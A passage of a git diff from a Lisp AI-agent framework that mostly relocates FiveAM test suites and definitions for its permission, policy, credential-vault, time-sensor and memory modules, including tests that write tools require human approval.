(uiop:getenv "PRIVACY_FILTER_TAGS")) - (saved-tag (uiop:getenv "TAG_CATEGORIES")) - (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) - ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES - (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) - (sb-posix:unsetenv "TAG_CATEGORIES") - (passepartout::tag-categories-load) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :block (passepartout::tag-category-severity "@draft"))) - ;; Restore - (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) - (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) - (passepartout::tag-categories-load))) - -(test test-safe-tool-read-only-auto-approve - "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." - (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "test-ro-tool" - :description "Read-only test" - :parameters nil - :guard nil - :body nil - :read-only-p t)) - (unwind-protect - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) - (result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type))) - (is (not (member (getf result :type) '(:LOG :approval-required))))) - (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) - -(test test-safe-tool-write-still-checked - "Contract v0.7.2: write tools still go through full dispatcher check." - (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "write-file" - :description "File writer" - :parameters nil - :guard nil - :body nil - :read-only-p nil)) - (unwind-protect - (progn - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) - (result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (is (search "HITL" (getf (getf result :payload) :message))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false") - (if orig-tool - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) - (remhash "write-file" passepartout::*cognitive-tool-registry*))))) - (in-package :passepartout-security-dispatcher-tests) (test test-block-record-increments diff --git a/lisp/security-permissions.lisp b/lisp/security-permissions.lisp index 07af4ec..1851864 100644 --- a/lisp/security-permissions.lisp +++ b/lisp/security-permissions.lisp @@ -1,19 +1,3 @@ -(in-package :passepartout) - -(defvar *permission-table* (make-hash-table :test 'equal)) - -(defun permission-set (tool-name level) - "Sets the permission level for a tool." - (setf (gethash (string-downcase (string tool-name)) *permission-table*) level)) - -(defun permission-get (tool-name) - "Retrieves the permission level for a tool. Defaults to :ask." - (gethash (string-downcase (string tool-name)) *permission-table* :ask)) - -(defskill :passepartout-security-permissions - :priority 600 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) @@ -42,3 +26,19 @@ (permission-set :CapitalTool :deny) (is (eq :deny (permission-get :capitaltool))) (permission-set "CapitalTool" nil)) + +(in-package :passepartout) + +(defvar *permission-table* (make-hash-table :test 'equal)) + +(defun permission-set (tool-name level) + "Sets the permission level for a tool." + (setf (gethash (string-downcase (string tool-name)) *permission-table*) level)) + +(defun permission-get (tool-name) + "Retrieves the permission level for a tool. Defaults to :ask." + (gethash (string-downcase (string tool-name)) *permission-table* :ask)) + +(defskill :passepartout-security-permissions + :priority 600 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) diff --git a/lisp/security-policy.lisp b/lisp/security-policy.lisp index b39d0ac..ebd9aed 100644 --- a/lisp/security-policy.lisp +++ b/lisp/security-policy.lisp @@ -1,23 +1,3 @@ -(in-package :passepartout) - -(defun policy-compliance-check (action context) - "Enforces constitutional invariants on proposed actions." - (declare (ignore context)) - (let* ((payload (proto-get action :payload)) - (explanation (proto-get payload :explanation))) - (if (and explanation (stringp explanation) (> (length explanation) 10)) - action - (progn - (log-message "POLICY VIOLATION: Action lacks sufficient explanation.") - (list :type :LOG - :payload (list :level :warn - :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning.")))))) - -(defskill :passepartout-security-policy - :priority 500 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic #'policy-compliance-check) - (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) @@ -48,3 +28,23 @@ (let* ((action '(:type :REQUEST :payload (:action :read))) (result (policy-compliance-check action nil))) (is (eq :LOG (getf result :type))))) + +(in-package :passepartout) + +(defun policy-compliance-check (action context) + "Enforces constitutional invariants on proposed actions." + (declare (ignore context)) + (let* ((payload (proto-get action :payload)) + (explanation (proto-get payload :explanation))) + (if (and explanation (stringp explanation) (> (length explanation) 10)) + action + (progn + (log-message "POLICY VIOLATION: Action lacks sufficient explanation.") + (list :type :LOG + :payload (list :level :warn + :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning.")))))) + +(defskill :passepartout-security-policy + :priority 500 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic #'policy-compliance-check) diff --git a/lisp/security-validator.lisp b/lisp/security-validator.lisp index 1038805..f8af7b9 100644 --- a/lisp/security-validator.lisp +++ b/lisp/security-validator.lisp @@ -1,19 +1,3 @@ -(in-package :passepartout) - -(defun validator-protocol-check (msg) - "Enforces structural schema compliance on protocol messages." - (validate-communication-protocol-schema msg)) - -(defskill :passepartout-security-validator - :priority 95 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (handler-case - (progn (validator-protocol-check action) action) - (error (c) - (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) - (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) @@ -41,3 +25,19 @@ (let ((msg '(:payload (:sensor :heartbeat)))) (signals error (validator-protocol-check msg)))) + +(in-package :passepartout) + +(defun validator-protocol-check (msg) + "Enforces structural schema compliance on protocol messages." + (validate-communication-protocol-schema msg)) + +(defskill :passepartout-security-validator + :priority 95 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (handler-case + (progn (validator-protocol-check action) action) + (error (c) + (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) diff --git a/lisp/security-vault.lisp b/lisp/security-vault.lisp index cc7df7d..f2a98b5 100644 --- a/lisp/security-vault.lisp +++ b/lisp/security-vault.lisp @@ -1,39 +1,3 @@ -(in-package :passepartout) - -(defvar *vault-memory* (make-hash-table :test 'equal) - "In-memory cache of sensitive credentials.") - -(defun vault-get (provider &key (type :api-key)) - "Retrieves a credential from the vault or environment." - (let* ((key (format nil "~a-~a" provider type)) - (val (gethash key *vault-memory*))) - (if val - val - (let ((env-var (case provider - (:gemini "GEMINI_API_KEY") - (:openai "OPENAI_API_KEY") - (:anthropic "ANTHROPIC_API_KEY") - (:openrouter "OPENROUTER_API_KEY") - (otherwise nil)))) - (when env-var (uiop:getenv env-var)))))) - -(defun vault-set (provider secret &key (type :api-key)) - "Stores a secret in the vault." - (let ((key (format nil "~a-~a" provider type))) - (setf (gethash key *vault-memory*) secret))) - -(defun vault-get-secret (provider) - "Retrieves a stored secret or token for a gateway provider." - (vault-get provider :type :secret)) - -(defun vault-set-secret (provider secret) - "Stores a secret or token for a gateway provider." - (vault-set provider secret :type :secret)) - -(defskill :passepartout-security-vault - :priority 600 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) @@ -84,3 +48,39 @@ (is (string= "secret-value" (vault-get :vault-type-test :type :secret))) (vault-set :vault-type-test nil :type :api-key) (vault-set :vault-type-test nil :type :secret)) + +(in-package :passepartout) + +(defvar *vault-memory* (make-hash-table :test 'equal) + "In-memory cache of sensitive credentials.") + +(defun vault-get (provider &key (type :api-key)) + "Retrieves a credential from the vault or environment." + (let* ((key (format nil "~a-~a" provider type)) + (val (gethash key *vault-memory*))) + (if val + val + (let ((env-var (case provider + (:gemini "GEMINI_API_KEY") + (:openai "OPENAI_API_KEY") + (:anthropic "ANTHROPIC_API_KEY") + (:openrouter "OPENROUTER_API_KEY") + (otherwise nil)))) + (when env-var (uiop:getenv env-var)))))) + +(defun vault-set (provider secret &key (type :api-key)) + "Stores a secret in the vault." + (let ((key (format nil "~a-~a" provider type))) + (setf (gethash key *vault-memory*) secret))) + +(defun vault-get-secret (provider) + "Retrieves a stored secret or token for a gateway provider." + (vault-get provider :type :secret)) + +(defun vault-set-secret (provider secret) + "Stores a secret or token for a gateway provider." + (vault-set provider secret :type :secret)) + +(defskill :passepartout-security-vault + :priority 600 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) diff --git a/lisp/sensor-time.lisp b/lisp/sensor-time.lisp index 78079b0..9ae04c5 100644 --- a/lisp/sensor-time.lisp +++ b/lisp/sensor-time.lisp @@ -1,3 +1,71 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-sensor-time-tests + (:use :cl :fiveam :passepartout) + (:export #:sensor-time-suite)) + +(in-package :passepartout-sensor-time-tests) + +(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines") +(in-suite sensor-time-suite) + +(test test-format-time-for-llm-includes-year + "Contract 1: format-time-for-llm returns a string with the current year." + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "202" result)) + (is (search "TIME" result)))) + +(test test-format-time-for-llm-utc + "Contract 1: iso format includes Z suffix." + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "Z" result)))) + +(test test-format-time-for-llm-natural + "Contract 1: natural format produces human-readable date." + (let ((old-env (or (uiop:getenv "TIME_FORMAT") ""))) + (unwind-protect + (progn + (setf (uiop:getenv "TIME_FORMAT") "natural") + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "UTC" result)))) + (setf (uiop:getenv "TIME_FORMAT") old-env)))) + +(test test-format-time-for-llm-with-session + "Contract 1: with session duration, includes session info." + (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720))) + (is (search "1h 2m" result)))) + +(test test-session-duration + "Contract 2: session-duration returns a positive number after init." + (passepartout::sensor-time-initialize) + (let ((dur (passepartout::session-duration))) + (is (numberp dur)) + (is (>= dur 0)))) + +(test test-sensor-time-tick-empty + "Contract 3: sensor-time-tick returns nil when no deadlines are near." + (clrhash passepartout::*memory-store*) + (let ((result (passepartout::sensor-time-tick))) + (is (null result)))) + +(test test-sensor-time-tick-detects-deadline + "Contract 3: sensor-time-tick detects a deadline close in time." + (clrhash passepartout::*memory-store*) + (setf passepartout::*deadline-warning-minutes* 120) + (let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago + (ingest-ast (list :type :HEADLINE + :properties (list :ID "deadline-test" + :TITLE "Submit report" + :DEADLINE (write-to-string near-future-time)) + :contents nil))) + (let ((result (passepartout::sensor-time-tick))) + (is (not (null result))) + (is (search "Submit report" result)))) + (in-package :passepartout) (defvar *session-start-time* nil @@ -99,71 +167,3 @@ Called by the time-tick cron job every minute." (format nil "~d deadlines approaching: ~{~a; ~}" (length parts) parts)))))) (sensor-time-initialize) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-sensor-time-tests - (:use :cl :fiveam :passepartout) - (:export #:sensor-time-suite)) - -(in-package :passepartout-sensor-time-tests) - -(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines") -(in-suite sensor-time-suite) - -(test test-format-time-for-llm-includes-year - "Contract 1: format-time-for-llm returns a string with the current year." - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "202" result)) - (is (search "TIME" result)))) - -(test test-format-time-for-llm-utc - "Contract 1: iso format includes Z suffix." - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "Z" result)))) - -(test test-format-time-for-llm-natural - "Contract 1: natural format produces human-readable date." - (let ((old-env (or (uiop:getenv "TIME_FORMAT") ""))) - (unwind-protect - (progn - (setf (uiop:getenv "TIME_FORMAT") "natural") - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "UTC" result)))) - (setf (uiop:getenv "TIME_FORMAT") old-env)))) - -(test test-format-time-for-llm-with-session - "Contract 1: with session duration, includes session info." - (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720))) - (is (search "1h 2m" result)))) - -(test test-session-duration - "Contract 2: session-duration returns a positive number after init." - (passepartout::sensor-time-initialize) - (let ((dur (passepartout::session-duration))) - (is (numberp dur)) - (is (>= dur 0)))) - -(test test-sensor-time-tick-empty - "Contract 3: sensor-time-tick returns nil when no deadlines are near." - (clrhash passepartout::*memory-store*) - (let ((result (passepartout::sensor-time-tick))) - (is (null result)))) - -(test test-sensor-time-tick-detects-deadline - "Contract 3: sensor-time-tick detects a deadline close in time." - (clrhash passepartout::*memory-store*) - (setf passepartout::*deadline-warning-minutes* 120) - (let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago - (ingest-ast (list :type :HEADLINE - :properties (list :ID "deadline-test" - :TITLE "Submit report" - :DEADLINE (write-to-string near-future-time)) - :contents nil))) - (let ((result (passepartout::sensor-time-tick))) - (is (not (null result))) - (is (search "Submit report" result)))) diff --git a/lisp/symbolic-archivist.lisp b/lisp/symbolic-archivist.lisp index 9758821..02ad8e2 100644 --- a/lisp/symbolic-archivist.lisp +++ b/lisp/symbolic-archivist.lisp @@ -1,3 +1,41 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-symbolic-archivist-tests + (:use :cl :passepartout) + (:export #:archivist-suite)) + +(in-package :passepartout-symbolic-archivist-tests) + +(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill") +(fiveam:in-suite archivist-suite) + +(fiveam:test test-extract-headlines + "Contract 1: archivist-extract-headlines parses Org content." + (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline")) + (headlines (archivist-extract-headlines content))) + (fiveam:is (listp headlines)) + (fiveam:is (>= (length headlines) 1)))) + +(fiveam:test test-headline-to-filename + "Contract 2: archivist-headline-to-filename sanitizes titles." + (let ((filename (archivist-headline-to-filename "My Project: Overview"))) + (fiveam:is (search "my_project_overview" filename :test #'char-equal)) + (fiveam:is (not (search ":" filename))))) + +(fiveam:test test-archivist-create-note + "Contract 3: archivist-create-note writes a Zettelkasten note to disk." + (let* ((tmp-dir "/tmp/passepartout-archivist-test/") + (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic")))) + (uiop:ensure-all-directories-exist (list tmp-dir)) + (unwind-protect + (progn + (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org")) + "Expected note creation to return T") + (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir)) + "Expected file test_note.org to exist")) + (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) + (in-package :passepartout) (in-package :passepartout) @@ -239,41 +277,3 @@ and dispatches as needed. Called by the deterministic gate." :priority 100 :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat)) :deterministic #'archivist-run) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-symbolic-archivist-tests - (:use :cl :passepartout) - (:export #:archivist-suite)) - -(in-package :passepartout-symbolic-archivist-tests) - -(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill") -(fiveam:in-suite archivist-suite) - -(fiveam:test test-extract-headlines - "Contract 1: archivist-extract-headlines parses Org content." - (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline")) - (headlines (archivist-extract-headlines content))) - (fiveam:is (listp headlines)) - (fiveam:is (>= (length headlines) 1)))) - -(fiveam:test test-headline-to-filename - "Contract 2: archivist-headline-to-filename sanitizes titles." - (let ((filename (archivist-headline-to-filename "My Project: Overview"))) - (fiveam:is (search "my_project_overview" filename :test #'char-equal)) - (fiveam:is (not (search ":" filename))))) - -(fiveam:test test-archivist-create-note - "Contract 3: archivist-create-note writes a Zettelkasten note to disk." - (let* ((tmp-dir "/tmp/passepartout-archivist-test/") - (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic")))) - (uiop:ensure-all-directories-exist (list tmp-dir)) - (unwind-protect - (progn - (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org")) - "Expected note creation to return T") - (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir)) - "Expected file test_note.org to exist")) - (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) diff --git a/lisp/symbolic-awareness.lisp b/lisp/symbolic-awareness.lisp index 444085d..e201dbb 100644 --- a/lisp/symbolic-awareness.lisp +++ b/lisp/symbolic-awareness.lisp @@ -1,3 +1,70 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-peripheral-vision-tests + (:use :cl :fiveam :passepartout) + (:export #:vision-suite)) +(in-package :passepartout-peripheral-vision-tests) + +(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.") +(in-suite vision-suite) + +(test test-foveal-rendering + "Contract 1: foveal content inline, peripheral content title-only." + (clrhash passepartout::*memory-store*) + (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project")) + :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node") + :raw-content "FOVEAL CONTENT" :contents nil) + (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node") + :raw-content "PERIPHERAL CONTENT" :contents nil))))) + (ingest-ast ast) + (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal")))) + (is (search "FOVEAL CONTENT" output)) + (is (search "* Peripheral Node" output)) + (is (not (search "PERIPHERAL CONTENT" output)))))) + +(test test-awareness-budget + "Contract 1: all active projects appear in awareness output." + (clrhash passepartout::*memory-store*) + (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil)) + (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil)) + (let ((output (context-awareness-assemble))) + (is (search "Project 1" output)) + (is (search "Project 2" output)))) + +(test test-context-empty-memory + "Contract 1: empty memory produces clean output without error." + (clrhash passepartout::*memory-store*) + (let ((output (context-awareness-assemble))) + (is (stringp output)) + (is (search "MEMEX" output :test #'char-equal)))) + +(test test-context-no-foveal-focus + "Contract 2: without foveal focus, no inline content appears." + (clrhash passepartout::*memory-store*) + (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project")) + :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node") + :raw-content "CHILD CONTENT" :contents nil))))) + (ingest-ast ast) + (let ((output (context-awareness-assemble nil))) + (is (stringp output)) + (is (not (search "CHILD CONTENT" output)))))) + +(test test-semantic-retrieval-trigram + "Contract v0.4.0: trigram backend produces non-zero similarity for related content." + (let ((v1 (passepartout::embedding-backend-trigram "implement user login form")) + (v2 (passepartout::embedding-backend-trigram "add password authentication"))) + (let ((sim (passepartout::vector-cosine-similarity v1 v2))) + (is (> sim 0.0)))) + (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module")) + (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix"))) + (let ((sim (passepartout::vector-cosine-similarity v3 v4))) + (is (> sim 0.75)))) + (let ((v5 (passepartout::embedding-backend-trigram "authentication")) + (v6 (passepartout::embedding-backend-trigram "banana"))) + (let ((sim (passepartout::vector-cosine-similarity v5 v6))) + (is (< sim 0.3))))) + (in-package :passepartout) (defun context-query (&key tag todo-state type scope) @@ -159,70 +226,3 @@ Privacy-filtered objects (matching the Dispatcher's privacy tags) are excluded." (defskill :passepartout-symbolic-awareness :priority 50 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-peripheral-vision-tests - (:use :cl :fiveam :passepartout) - (:export #:vision-suite)) -(in-package :passepartout-peripheral-vision-tests) - -(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.") -(in-suite vision-suite) - -(test test-foveal-rendering - "Contract 1: foveal content inline, peripheral content title-only." - (clrhash passepartout::*memory-store*) - (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project")) - :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node") - :raw-content "FOVEAL CONTENT" :contents nil) - (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node") - :raw-content "PERIPHERAL CONTENT" :contents nil))))) - (ingest-ast ast) - (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal")))) - (is (search "FOVEAL CONTENT" output)) - (is (search "* Peripheral Node" output)) - (is (not (search "PERIPHERAL CONTENT" output)))))) - -(test test-awareness-budget - "Contract 1: all active projects appear in awareness output." - (clrhash passepartout::*memory-store*) - (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil)) - (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil)) - (let ((output (context-awareness-assemble))) - (is (search "Project 1" output)) - (is (search "Project 2" output)))) - -(test test-context-empty-memory - "Contract 1: empty memory produces clean output without error." - (clrhash passepartout::*memory-store*) - (let ((output (context-awareness-assemble))) - (is (stringp output)) - (is (search "MEMEX" output :test #'char-equal)))) - -(test test-context-no-foveal-focus - "Contract 2: without foveal focus, no inline content appears." - (clrhash passepartout::*memory-store*) - (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project")) - :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node") - :raw-content "CHILD CONTENT" :contents nil))))) - (ingest-ast ast) - (let ((output (context-awareness-assemble nil))) - (is (stringp output)) - (is (not (search "CHILD CONTENT" output)))))) - -(test test-semantic-retrieval-trigram - "Contract v0.4.0: trigram backend produces non-zero similarity for related content." - (let ((v1 (passepartout::embedding-backend-trigram "implement user login form")) - (v2 (passepartout::embedding-backend-trigram "add password authentication"))) - (let ((sim (passepartout::vector-cosine-similarity v1 v2))) - (is (> sim 0.0)))) - (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module")) - (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix"))) - (let ((sim (passepartout::vector-cosine-similarity v3 v4))) - (is (> sim 0.75)))) - (let ((v5 (passepartout::embedding-backend-trigram "authentication")) - (v6 (passepartout::embedding-backend-trigram "banana"))) - (let ((sim (passepartout::vector-cosine-similarity v5 v6))) - (is (< sim 0.3))))) diff --git a/lisp/symbolic-scope.lisp b/lisp/symbolic-scope.lisp index e5970cf..33e003e 100644 --- a/lisp/symbolic-scope.lisp +++ b/lisp/symbolic-scope.lisp @@ -1,3 +1,45 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-context-tests + (:use :cl :passepartout) + (:export #:context-suite)) + +(in-package :passepartout-context-tests) + +(fiveam:def-suite context-suite :description "Context manager verification") +(fiveam:in-suite context-suite) + +(fiveam:test test-push-pop-context + "Contract 1-2: push-context and pop-context maintain stack order." + (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) + (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) + (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) + (when stack-var + (setf (symbol-value stack-var) nil) + (push-context :project "testapp" :base-path "/tmp" :scope :project) + (fiveam:is (= 1 (length (symbol-value stack-var)))) + (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project))) + (pop-context) + (fiveam:is (null (symbol-value stack-var)))))) + +(fiveam:test test-context-save-load + "Contract 3-4: context-save and context-load round-trip." + (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) + (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) + (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) + (when (and stack-var pf-var) + (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory)))) + (setf (symbol-value pf-var) tmpfile) + (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project))) + (context-save) + (fiveam:is (probe-file tmpfile)) + (setf (symbol-value stack-var) nil) + (context-load) + (fiveam:is (= 1 (length (symbol-value stack-var)))) + (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project))) + (ignore-errors (delete-file tmpfile)))))) + (in-package :passepartout) (defvar *context-stack* nil @@ -166,45 +208,3 @@ until stack is empty or :memex context is reached." ;; Restore persisted context on load (context-load) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-context-tests - (:use :cl :passepartout) - (:export #:context-suite)) - -(in-package :passepartout-context-tests) - -(fiveam:def-suite context-suite :description "Context manager verification") -(fiveam:in-suite context-suite) - -(fiveam:test test-push-pop-context - "Contract 1-2: push-context and pop-context maintain stack order." - (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) - (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) - (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) - (when stack-var - (setf (symbol-value stack-var) nil) - (push-context :project "testapp" :base-path "/tmp" :scope :project) - (fiveam:is (= 1 (length (symbol-value stack-var)))) - (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project))) - (pop-context) - (fiveam:is (null (symbol-value stack-var)))))) - -(fiveam:test test-context-save-load - "Contract 3-4: context-save and context-load round-trip." - (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) - (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) - (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) - (when (and stack-var pf-var) - (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory)))) - (setf (symbol-value pf-var) tmpfile) - (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project))) - (context-save) - (fiveam:is (probe-file tmpfile)) - (setf (symbol-value stack-var) nil) - (context-load) - (fiveam:is (= 1 (length (symbol-value stack-var)))) - (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project))) - (ignore-errors (delete-file tmpfile)))))) diff --git a/lisp/symbolic-time-memory.lisp b/lisp/symbolic-time-memory.lisp index ac8848a..a53cfcc 100644 --- a/lisp/symbolic-time-memory.lisp +++ b/lisp/symbolic-time-memory.lisp @@ -1,3 +1,53 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-time-memory-tests + (:use :cl :fiveam :passepartout) + (:export #:time-memory-suite)) + +(in-package :passepartout-time-memory-tests) + +(def-suite time-memory-suite :description "Temporal memory filtering") +(in-suite time-memory-suite) + +(test test-memory-objects-since + "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes." + (clrhash passepartout::*memory-store*) + (let ((t0 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil)) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil)) + (sleep 1) + (let ((t1 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil)) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil)) + (let ((since-t1 (passepartout::memory-objects-since t1))) + (is (= 2 (length since-t1))) + (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<))) + (is (string= "time-c" (first ids))) + (is (string= "time-d" (second ids)))) + (let ((since-t0 (passepartout::memory-objects-since t0))) + (is (= 4 (length since-t0)))))))) + +(test test-memory-objects-in-range + "Contract 2: ingest nodes, verify range query returns correct subset." + (clrhash passepartout::*memory-store*) + (let ((t0 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil)) + (sleep 1) + (let ((t1 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil)) + (sleep 1) + (let ((t2 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil)) + (let ((range (passepartout::memory-objects-in-range t1 t2))) + (is (= 1 (length range))) + (is (string= "rng-2" (memory-object-id (first range))))))))) + (in-package :passepartout) (defun memory-objects-since (timestamp) @@ -61,53 +111,3 @@ Falls back to context-query if temporal filtering is not requested." time-filtered) time-filtered))) (subseq todo-filtered 0 (min max-results (length todo-filtered)))))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-time-memory-tests - (:use :cl :fiveam :passepartout) - (:export #:time-memory-suite)) - -(in-package :passepartout-time-memory-tests) - -(def-suite 